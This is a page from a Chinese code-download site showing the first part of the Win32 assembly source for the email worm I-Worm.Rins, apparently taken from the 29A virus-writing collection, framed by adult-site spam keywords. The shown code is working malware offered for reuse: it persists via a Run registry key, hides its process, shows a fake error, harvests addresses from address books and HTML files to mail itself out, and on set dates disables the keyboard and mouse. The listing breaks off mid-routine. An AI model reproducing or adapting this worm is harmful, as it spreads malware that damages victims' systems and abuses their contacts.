亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.007

?? 從29A上收集的病毒源碼
?? 007
?? 第 1 頁 / 共 2 頁
字號:

;-----------------------------------------------------------------------------
;-------------------------------     -----------------------------------------
;-----------------------------         ---------------------------------------
;--------------------------- I-Worm Rins  ------------------------------------
;-----------------------------         ---------------------------------------
;-------------------------------     -----------------------------------------
;-----------------------------------------------------------------------------

; After my 1st worm (I-Worm.Netav) i tried in this one to reduce the 
; size(No extrn cmd) and add a little sploit(MS01-20, thanx to mar00n).
; Feel free to use everything you want in this source code.
; Thanx to Petik and Benny, i learn a lot with your worms.

; Size = 5120
; tasm32 /ml /m9 xxx
; tlink32 -Tpe -aa xxx
; upx -9 xxx

.386p
.model flat

;--------------------------- Include Zone ------------------------------------

MEM_COMMIT		    		equ	00001000h
MEM_RESERVE		    		equ	00002000h
PAGE_READWRITE		    	equ	00000004h
PAGE_READONLY		    	equ	00000002h
FILE_ATTRIBUTE_NORMAL	    	equ	080h
OPEN_EXISTING		    	equ	03h
FILE_SHARE_READ		    	equ	01h
GENERIC_READ	 	    	equ	80000000h
FILE_MAP_WRITE		    	equ	00000002h
FILE_MAP_READ		    	equ	00000004h
CREATE_ALWAYS	            equ	2
GENERIC_WRITE	            equ	40000000h

;-------------------------- Macro Zone ---------------------------------------


@INIT_SehFrame  	macro	Instruction
	local   	OurSeh
      call    	OurSeh
      mov     	esp,[esp+08h]
      Instruction
OurSeh:
      xor     	edx,edx
      push    	dword ptr fs:[edx]
      mov     	dword ptr fs:[edx],esp
                	endm

@REM_SehFrame   	macro
      xor     	edx,edx
      pop     	dword ptr fs:[edx]
      pop     	edx
                	endm

@pushsz         	macro	string
      local   	Str
      call    	Str
      db      	string,0
Str:            	endm


api 			macro a
	call    	dword ptr [a]
			endm

;------------------------ Constantes Zone ------------------------------------
       
SEH             	equ	1                    		; SEH protection

NbEmailWanted   	equ   80                        	; Nb Email to Seek >1 
EmailSize       	equ   64                         	; Attention rol eax,6 (2^6)
EmailInMemSize   	equ   (EmailSize*(NbEmailWanted+1)) ; For VirtualAlloc (+Security)    
NbToSend        	equ   50                         	; Send x emails per session

MimeHeaderSize	equ	1024					; Mime Header size

;-----------------------------------------------------------------------------
;--------------------------- Code Zone ---------------------------------------
;-----------------------------------------------------------------------------

.code

Rins:	
    	pushad
               
      IF      	SEH
      @INIT_SehFrame <jmp ExitRins>             	; Init SEH      
      ENDIF
	
;------------------------- Get Kernel Base + Api -----------------------------

KernelBase&Api:
	call		KBase&Api					; Get Kernel Base + Api
                 
;------------------------- Check & Mark Presency -----------------------------

TryToOpenOurMutex:
      xor 		eax, eax
    	@pushsz	'RinsMutex'                       	; Mutex Name                               
      push    	eax
      push    	eax
      api     	_OpenMutexA                      	; already in mem
      or      	eax,eax
      jnz     	ExitRins                          	; Yes, do nothing more 
                  
CreateOurMutex:
      xor     	eax, eax
      @pushsz 	'RinsMutex'                       	; Mutex Name                               
      push    	eax                             	; No owner
      push    	eax                             	; default security attrib
      api     	_CreateMutexA                    	; create Our Mutex
      mov     	dword ptr[MutexHdl], eax

;---------------------------- Random Init ------------------------------------

RandomInit:
      api     	_GetTickCount
      mov     	RandomNb, eax
 
;---------------------- Hide Process on Win9x --------------------------------
        
HideProcess:          
	xor		eax, eax                          
	mov		eax, dword ptr [_RegisterServiceProcess]
	test    	eax, eax
	jz      	GetOurPathName
	push    	01h
	push    	00h
	call    	eax       
       
;----------------------- Copy Worm in Sys Dir --------------------------------

GetOurPathName:
      xor     	eax, eax
      push    	eax
	api     	_GetModuleHandleA                	; Our Handle	  
      push    	260
	push    	offset MyPath
	push    	eax
	api     	_GetModuleFileNameA              	; Our Path       
        
CreateDestPath:
      push    	260
	push    	offset TempPath&Name
	api     	_GetSystemDirectoryA             	; System Dir

      @pushsz 	'\RINS.EXE'
	push    	offset TempPath&Name
      api     	_lstrcat                         	; Path+Name of File to Create   

CheckHowExecuted:
      push    	offset MyPath
      push    	offset TempPath&Name
      api     	_lstrcmp
      test    	eax, eax
      jz      	AutoRun

CreateOurFile:
      xor     	eax, eax
      push    	eax                             	; Overwrite mode set
      push    	offset TempPath&Name            	
      push    	offset MyPath
      api     	_CopyFileA                       	; Copy Worm in Sys Dir

        
;------------------------- Registry Worm -------------------------------------

RegWorm:
      push    	offset TempPath&Name
      api     	_lstrlen          
	push    	eax
	push    	offset TempPath&Name
	push    	1
	@pushsz 	"Rins Task"
	@pushsz 	"Software\Microsoft\Windows\CurrentVersion\Run"
	push    	80000002h
	api     	_SHSetValueA

;-------------------- First Launch Fake Message ------------------------------

FakeMessage:
 	push    	1040                        
      @pushsz 	'Status'					; maybe i should do
      @pushsz 	'Not Enought Memory'			; a little better
      push    	0
      api     	_MessageBoxA

;----------------------- Emails address in Memory ----------------------------
AutoRun:
	call		EmailInMem					; Wab & Html emails in mem

;-------------------------- Spread the Worm ----------------------------------
     
Check_if_Connected:
      push    	offset SystemTimeData
      api     	_GetSystemTime
	call		PayAnniv

      push    	0
      push    	offset IConnectedStateTemp
      api		_InternetGetConnectedState
      dec     	eax
      jnz    	No_internet                     	; No connection

      call    	SendEmail                       	; Send Wab Email 1st+Rnd Email
      jmp     	ExitRinsMutex                     	; Then Bye

No_internet:
      push    	5*60*1000                         	; 5 min
      api     	_Sleep
      jmp     	Check_if_Connected
              
;----------------------------- The End ---------------------------------------

ExitRinsMutex:
      push    	dword ptr[MutexHdl]
      api     	_CloseHandle
	call		FreeTheMem

ExitRins:

      IF      	SEH
      @REM_SehFrame                           		; Restore SEH
      ENDIF
         
      popad
                
      push    	0
      api     	_ExitProcess                     	; Quit


	db		':::::    I-Worm.Rins by Tony    :::::',0dh,0dh
	db		'::::: V1.2  Light Size + Sploit :::::',0dh,0dh


;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;------------------------- Sub Routine Zone ----------------------------------
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------


;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;........................ Major Sub Routine ..................................
;............................ Z O N E ........................................
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

;............................ Payload ........................................
;.............................................................................

PayAnniv:
      lea     	esi, SystemTimeData              
      movzx   	ecx, word ptr[esi+6]            	; Esi point day
	cmp		ecx, 23				      ; Anniv	
	je		KeyboardOut
OtherOne:
	cmp		ecx, 17		    	
	jne		NoPay

KeyboardOut:
      push    	0
      @pushsz 	'rundll32.exe keyboard,disable'
      api    	_WinExec

MouseOut:
      push   	0
      @pushsz 	'rundll32.exe mouse,disable'
      api    	_WinExec   
NoPay:
	ret

;....................... Emails @ in Memory ..................................
;.............................................................................


EmailInMem:
	mov		dword ptr[NbEmailFound], 0

ReserveMem_For_EmailInMem:
      xor     	eax,eax
      push    	PAGE_READWRITE                  	; read/write page
	push    	MEM_RESERVE or MEM_COMMIT
	push    	EmailInMemSize
	push    	eax                             	; System decide where 
	api     	_VirtualAlloc
	or      	eax,eax
	jz      	EmailInMemError                  	; Alloc Fail 
      mov     	dword ptr[EmailList], eax

EmailSeeker:
      call    	SearchWabFile_Email             	; Search Email address book
      call    	SearchHtmFile_Email             	; Search Email HTML
EmailInMemError:
	ret


;........................ Find Email in HTML .................................
;.............................................................................

; Recursive Search from Internet Path for Email in Html

SearchHtmFile_Email:
      call    	Clear_TempPath&Name     
        
	push    	00h
	push    	20h						; Internet Path      
	push    	offset TempPath&Name
	push    	00h
	api		_SHGetSpecialFolderPathA

	push    	offset TempPath&Name
	api     	_SetCurrentDirectoryA			; Selected dir = Internet Path

	lea		eax, SeekHtmlCurrentDir
	mov		dword ptr[RoutineToCall], eax
	call    	AllSubDirSearch				; Action = SeekHtmlCurrentDir
	ret	  

;.............. Seek Html in Current Dir

; IN:	Selected Current dir
; OUT:  Emails in reserved Mem
        
SeekHtmlCurrentDir:
      cmp     	dword ptr[NbEmailFound], NbEmailWanted 	; ENOUGH EMAILS FOUND !
      je      	HtmlEmailSearchEnd                     	; YES...

      lea     	edi, search
      push    	edi
	@pushsz 	'*.*htm*'
	api     	_FindFirstFileA		
	inc		eax
	jne		SeekEmail_Html
	ret

SeekEmail_Html:	
      dec		eax
	xchg    	eax,esi

SeekEmail_Html_Loop:

      call    	SeekEmail_In_ThisHtml		       	; Parse Html 4 emails
        
      cmp     	dword ptr[NbEmailFound], NbEmailWanted 	; ENOUGH EMAILS FOUND !
      je      	HtmlEmailSearchFin                     	; YES...
      					
	push    	edi				
	push    	esi
	api     	_FindNextFileA				
	dec     	eax
	je      	SeekEmail_Html_Loop

HtmlEmailSearchFin:
	push    	esi
	api     	_FindClose				
HtmlEmailSearchEnd:	
      ret

;.............. Parse Html for emails

SeekEmail_In_ThisHtml:
	pushad
	push    	0
	push    	FILE_ATTRIBUTE_NORMAL
	push    	OPEN_EXISTING
	push    	0
	push    	FILE_SHARE_READ
	push    	GENERIC_READ
      lea     	eax, [search.FileName]
	push    	eax
	api     	_CreateFileA				
	inc     	eax
	je		HtmlEmailSearchEnd            	
	dec		eax                             	
	xchg    	eax,ebx

	xor		eax,eax
	push    	eax
	push    	eax
	push    	eax
	push    	PAGE_READONLY
	push    	eax
	push    	ebx
	api     	_CreateFileMappingA			
	test    	eax,eax
	je		CloseHtmlHandle
	xchg    	eax,ebp

	xor		eax,eax
	push    	eax
	push    	eax
	push    	eax
	push    	FILE_MAP_READ
	push    	ebp
	api     	_MapViewOfFile				
	test    	eax,eax
	je		CloseHtml_MapHandle
	xchg    	eax,esi
      mov     	[maphandlemail],esi
      mov     	[esi_save],esi

	push    	0
	push    	ebx
	api     	_GetFileSize				
	xchg    	eax,ecx
	jecxz   	CloseHtml_MapViewHandle
      inc     	ecx
      jz      	CloseHtml_MapViewHandle         	; GetFileSize Error ?
      dec     	ecx
FixBugOverflow:
      sub     	ecx, 8
      cmp     	ecx, 0
      jl      	CloseHtml_MapViewHandle

SeekMailToStr:
      mov     	esi,[esi_save]        
	call    	MTStr
	db		'mailto:'
MTStr: 
	pop		edi

ScanFor_MailTo:
	pushad
	push    	7
	pop		ecx
	rep		cmpsb						; search for "mailto:"
	popad								; string
	je		MailToFound_CheckEmail		      ; check the mail address
	inc		esi
      dec     	ecx
	jnz     	ScanFor_MailTo		

CloseHtml_MapViewHandle:
	push    	[maphandlemail]
	api     	_UnmapViewOfFile		
CloseHtml_MapHandle:
	push    	ebp
	api     	_CloseHandle				
CloseHtmlHandle:
	push    	ebx
	api     	_CloseHandle				
	popad
	ret

MailToFound_CheckEmail:
      inc     	esi
      mov     	[esi_save],esi
      dec     	esi

	mov		edi, dword ptr [EmailList]      	; STORE THE EMAIL in the   
      mov     	edx, dword ptr [NbEmailFound]
      rol     	edx, 6                          	; 64 = email size stockage
      add     	edi, edx                        	; goto next place
        
      mov     	[EmailCurrentPos], edi
        
	xor		edx,edx
	add		esi,7
	push    	edi						; mail address

NextChar:	
      lodsb
	cmp		al, ' '
	je		SkipChar

	cmp		al, '"'                        	; eMail End ?
	je		EndChar
      cmp     	al, '?'                        	; eMail End ?
      je      	EndChar    
      cmp     	al, '>'                        	; eMail End ?
      je      	EndChar      
      cmp     	al, '<'                        	; eMail End ?
      je      	EndChar      
      cmp     	al, ']'                        	; eMail End ?
      je      	EndChar              
	cmp		al, ''''                       	; eMail End ?
	je		EndChar

	cmp		al, '@'                        	; Valid email ?
	jne		CopyChar

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩一区 二区 三区 久久精品| 国产午夜三级一区二区三| 欧美xxxxx裸体时装秀| 国产精品九色蝌蚪自拍| 久久国产夜色精品鲁鲁99| 一本一道久久a久久精品综合蜜臀| 91 com成人网| 韩国在线一区二区| 欧洲精品在线观看| 国产精品五月天| 国模娜娜一区二区三区| 欧美一区二区三区啪啪| 亚洲日本va在线观看| 成人一区在线看| 26uuu色噜噜精品一区| 日韩激情中文字幕| 欧美电影一区二区| 亚洲午夜激情av| 91啪九色porn原创视频在线观看| 国产亚洲一区二区三区| 日韩精品乱码av一区二区| 色就色 综合激情| 亚洲欧美日韩成人高清在线一区| 国产精品正在播放| 日韩一级欧美一级| 日本aⅴ免费视频一区二区三区| 欧美综合久久久| 亚洲午夜久久久久久久久电影网 | 精品美女在线播放| 视频一区国产视频| 欧美精品一二三| 蜜桃视频一区二区三区在线观看| 91麻豆精品国产91久久久久久| 亚洲综合在线五月| 欧美日韩美少妇| 青娱乐精品视频在线| 日韩精品自拍偷拍| 国产伦精品一区二区三区免费| 久久中文字幕电影| 高清不卡在线观看| 亚洲视频1区2区| 欧美三级电影一区| 六月丁香婷婷色狠狠久久| 久久久久久日产精品| 国产91清纯白嫩初高中在线观看| 中文字幕免费一区| 色婷婷综合激情| 日韩成人伦理电影在线观看| 精品福利一二区| 成人黄页在线观看| 亚洲午夜久久久久久久久久久| 欧美一区二区精品在线| 国产精品一品二品| 亚洲美女在线一区| 欧美一区国产二区| 国产成人av电影在线| 一区二区三区视频在线观看| 欧美一区二区福利在线| 国产成人啪免费观看软件| 一区二区三区四区激情| 日韩三级精品电影久久久| 成人夜色视频网站在线观看| 亚洲专区一二三| 欧美精品一区二区久久久| 91在线视频在线| 看电影不卡的网站| 亚洲免费大片在线观看| 精品久久国产字幕高潮| 91国产免费观看| 韩国v欧美v日本v亚洲v| 亚洲一区二区三区国产| 中文字幕乱码久久午夜不卡| 欧美高清激情brazzers| 白白色亚洲国产精品| 免费人成在线不卡| 艳妇臀荡乳欲伦亚洲一区| 精品免费国产一区二区三区四区| 日本高清不卡aⅴ免费网站| 极品销魂美女一区二区三区| 亚洲国产精品嫩草影院| 国产精品少妇自拍| 欧美变态口味重另类| 欧美日韩免费在线视频| av动漫一区二区| 另类成人小视频在线| 亚洲高清三级视频| 中文字幕在线不卡| 久久久久9999亚洲精品| 欧美一区二区三区男人的天堂| 色88888久久久久久影院野外| 岛国av在线一区| 狠狠色丁香久久婷婷综| 日韩av一区二区三区| 亚洲精品第1页| 中文字幕中文乱码欧美一区二区| 久久青草国产手机看片福利盒子 | 国产精品久久毛片a| 欧美精品一区二| 制服视频三区第一页精品| 色屁屁一区二区| 99久久久精品| 成人激情黄色小说| 不卡av在线网| 成人免费毛片a| 成人性视频免费网站| 成人妖精视频yjsp地址| 岛国av在线一区| 成人国产电影网| 成人av在线看| 97久久久精品综合88久久| 99精品欧美一区二区三区综合在线| 国产一区二区成人久久免费影院 | 国产精品无圣光一区二区| 国产欧美日韩不卡| 国产欧美日韩精品一区| 国产精品女主播av| 亚洲欧美日韩国产手机在线| 亚洲婷婷国产精品电影人久久| 中文字幕在线一区二区三区| 亚洲视频一区二区免费在线观看 | 国产精品免费视频观看| 中文字幕一区二区三区不卡在线| 亚洲人成网站精品片在线观看| 亚洲少妇30p| 亚洲国产一区二区三区 | 7777精品久久久大香线蕉| 欧美一区二区三区免费在线看 | 亚洲日本中文字幕区| 又紧又大又爽精品一区二区| 亚洲一二三四久久| 日韩和欧美一区二区三区| 另类小说图片综合网| 国产成人亚洲精品狼色在线| 91首页免费视频| 欧美日本国产视频| 精品成人免费观看| 中文字幕综合网| 午夜视频一区在线观看| 国产一区久久久| 91美女片黄在线观看| 制服.丝袜.亚洲.另类.中文| 久久嫩草精品久久久久| 亚洲私人黄色宅男| 日韩电影在线免费看| 国产jizzjizz一区二区| 欧美三级一区二区| 国产午夜精品福利| 亚洲激情自拍偷拍| 久久狠狠亚洲综合| 色婷婷精品大在线视频| 精品日产卡一卡二卡麻豆| 亚洲欧洲精品一区二区三区不卡| 视频一区视频二区中文字幕| 成人中文字幕电影| 欧美一卡在线观看| 亚洲欧洲日产国码二区| 蜜桃在线一区二区三区| 色综合久久综合| 精品久久国产老人久久综合| 亚洲一区视频在线观看视频| 国产ts人妖一区二区| 91精品国产91久久综合桃花| 成人欧美一区二区三区黑人麻豆 | 三级欧美韩日大片在线看| 国产成都精品91一区二区三| 911国产精品| 亚洲人一二三区| 国产美女一区二区三区| 91精品国产综合久久久久久 | 欧美日韩高清一区| 国产精品传媒视频| 国产精品一级片在线观看| 欧美少妇一区二区| 亚洲天堂网中文字| 国产精品99久久久久| 精品久久五月天| 免费高清在线一区| 欧美日韩二区三区| 亚洲视频在线一区观看| 国产成人综合亚洲91猫咪| 精品区一区二区| 久久99精品久久久久| 制服丝袜亚洲网站| 亚洲综合清纯丝袜自拍| 色哟哟在线观看一区二区三区| 国产精品乱子久久久久| 国产超碰在线一区| 中文字幕av在线一区二区三区| 激情综合网av| 日韩三级在线免费观看| 天天综合日日夜夜精品| 欧美精品在线视频| 亚洲国产精品一区二区www在线| 91九色最新地址| 一区二区三区四区视频精品免费 | 色综合天天性综合| 自拍偷自拍亚洲精品播放| 91网站在线观看视频| 亚洲四区在线观看| 欧美综合久久久|